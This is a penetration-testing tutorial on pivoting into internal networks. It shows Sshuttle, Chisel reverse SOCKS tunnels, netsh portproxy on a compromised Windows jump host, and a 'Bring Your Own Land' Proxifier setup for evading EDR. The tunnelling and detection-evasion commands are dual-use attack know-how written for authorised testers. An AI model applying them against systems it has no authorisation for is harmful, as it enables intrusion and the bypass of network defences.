Pivoting For Pentesters
Here I will be showing the easiest and most useful pivot techniques I use on penetration testing engagements as well as HackTheBox Pro Lab networks. We will not be discussing other types of pivots, including the myriad ways to bend SSH to your will as those topics are already well documented.
This article will discuss pivoting from multiple scenarios, including:
- Pivoting through a SSH host to the internal network
- Pivoting using Chisel (cross-platform tool)
- Pivoting through a Windows host using Netsh
- Pivoting a Windows attack host through a SSH connection using Proxifier (Bring Your Own Land)
Pivoting through a SSH host to the internal network
Typically this discussion would include mention of proxychains. Proxychains will not be covered because not only is it well documented, but there are easier ways. In this case my preference is to use Sshuttle. When using Sshuttle, you essentially turn a SSH connection into a VPN tunnel. I’m pretty sure that that it was Cale Black (poptart/@PastrySec) is who turned me on to this awesome resource when we were working together a few years ago.
Some scenarios where I prefer to use Sshuttle:
- Internal network pentests performed remote via a Linux laptop or virtual machine sent to the client. On boot the device connects out to an OpenVPN server and the pentester connects to SSH on the device over the VPN.
- You have compromised a host running a SSH server and need to use it to tunnel traffic to another network. In this case, Sshuttle is much easier to use than proxychains because it acts like a VPN connection and you don’t need to prefix commands with ‘proxychains’.
Example Sshuttle command:
sudo sshuttle -r root@<vpn server> <network> --ssh-cmd 'ssh -i /home/kali/root_key' -x <vpn server>
- After the obvious connection string
sudo sshuttle -r root@<vpn server>, the
<network>is the network address we want to access on the other side of the ssh connection. If you have multiple 10.x or 192.x networks on the other side of the ssh host that you want to pivot to, you can replace the target network address with either a supernet address, or 0/0 which means tunnel everything. You can also replace this option with
-s <file>if you want to tunnel a list of networks from a file instead of on the command line.
--ssh-cmd 'ssh -i /home/kali/root_key'option is required only if the ssh connection requires an ssh key.
-xoption is always required. The -x option excludes tunneling any traffic to this address, because you don’t want to tunnel traffic to the connection host and you also don’t want to tunnel traffic from your local network. You can add additional -x IP or network addresses to prevent any locally connected networks from being sent through the tunnel, which would be required if you used 0/0 for the network address because you wanted to tunnel to multiple networks behind the ssh host. Each additional exclude address requires another
-xprefix, as in
-x 192.168.150.0/24 -x 192.168.1.0/24.
- You may want to use the
--dnsoption to tunnel all DNS requests through the tunnel.
Pivoting using Chisel
Chisel is a fast TCP/UDP tunnel written in Golang.
We have a shell on a host and want to tunnel traffic to a network which we can’t access from our Kali host such as:
<Kali> <-> <Web Server> <-> <Target Network>
First we need to start Chisel on Kali:
./chisel server -p 8001 --reverse
On Victim run
./chisel client <Kali IP>:8001 R:1080:socks
Before we can use this tunnel we’ll need to edit
/etc/proxychains.conf and add
socks5 127.0.0.1 1080.
Now when we want to proxy tools through the tunnel we precede the command with proxychains, such as
proxychains nmap -sT .... By the way, you’ll need to specify connect scans
-sT when running Nmap over proxychains. Don’t expect it to be fast either.
In the next scenario, let’s assume that we are on Kali and in addition to the
<Web Server>, we’ve also compromised
<Server> and want to proxy through it to connect to a host in an adjacent network that only this host can access, such as a PCI CDE:
<Kali> <-> <Web Server> <-> <Server> <-> <Remote network target>
In this case, we need to go to the
<Web Server> and run an additional Chisel command (two simultaneous Chisel processes):
./chisel server -p 8002 --reverse
Then on the
<Server> we run
./chisel client <Web Server>:8002 R:2080:socks
Finally we add another line to our proxychains.conf file:
socks5 127.0.0.1 2080
Pivoting through a Windows host using Netsh Portproxy
In this scenario, imagine that we’re on an Internal network pentest and the goal is to gain access to the PCI CDE. We’ve discovered a Windows jump host by recognizing the hostname includes ‘jmp’ or ‘jump’. We have credentials that CrackMapExec tells us is an admin on the box (Pwn3d!), but we can’t RDP to the box because it requires MFA. Other ports such as SMB and WinRM are exposed. Yes, I’ve seen this scenario on PCI pentests a few times and I always recommend that the client firewall off the ports that aren’t behind MFA.
You need to be a local administrator to add and remove netsh portproxies, regardless of the bind port.
Using CrackMapExec, Evil-WinRM, PowerShell invoke-pssession, etc., run the following command:
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=<port> connectaddress=<address> connectport=<port> protocol=tcp
- listenaddress is the IP address to listen on (probably always 0.0.0.0).
- listenport is the port to listen on.
- connectaddress is the destination IP address.
- connectport is the destination port.
- protocol to use (always TCP).
You can check it’s there with netsh interface portproxy show.
To remove the portproxy: netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Pivoting a Windows attack host through a SSH connection using Proxifier
This is a technique referred to as Bring Your Own Land (BYOL). The concept is that instead of running offensive security tools on a host covered by the Blue Team’s EDR you proxy a system you own and have disabled antivirus to run your tools. In my case I normally use this technique when performing internal network pentests and I’m up against a capable Blue Team and even though it’s a pentest, not a red team engagement, I don’t want to get kicked and I take pride in doing my best to evade detection. We send a laptop or virtual machine running Kali to our client who plugs it into the network. After boot, it connects out to our OpenVPN server and the pentester connects to the VPN and finally ssh’s into the laptop using ssh keys. Before running Proxifier, I setup my SSH connection using Putty and PuttyGen.
Note: This reuires Proxifier, which isn’t free. They do provide a 31 day unrestricted trial. Also, note that I base these instructions off of the original work by a friend and former coworker, Nick Powers.
I won’t repeat all of Nick’s work here. Go and read his blog post. After reading it, I still had some issues when using runas from a non-domain joined system. On a domain joined machine it will look up the Kerberos SRV record based on the domain name the machine is joined to. Since we are not joined to the domain, the client will fail to resolve the KDC. We can work around this issue by manually registering a Kerberos realm within Windows from the attacking host machine.
Open an administrator cmd prompt and enter the following commands, substituting the domain name in all caps and domain controller fully qualified domain name:
ksetup /addkdc DOMAININALLCAPS [domain controller fqdn] ksetup /setrealmflags DOMAININALLCAPS tcpsupported
Now restart the computer.
When you use the runas command, ensure you include the /netonly and /noprofile options. To test your settings, use the runas command
runas /netonly /noprofile /user:[domain]\[username] cmd.exe, then net use the Domain Controller FQDN in the command
net use \\[fqdn]\netlogon, then
dir \\[fqdn]\netlogon and you should be able to browse files on the share and run various C# offensive tools as well as PowerShell remoting.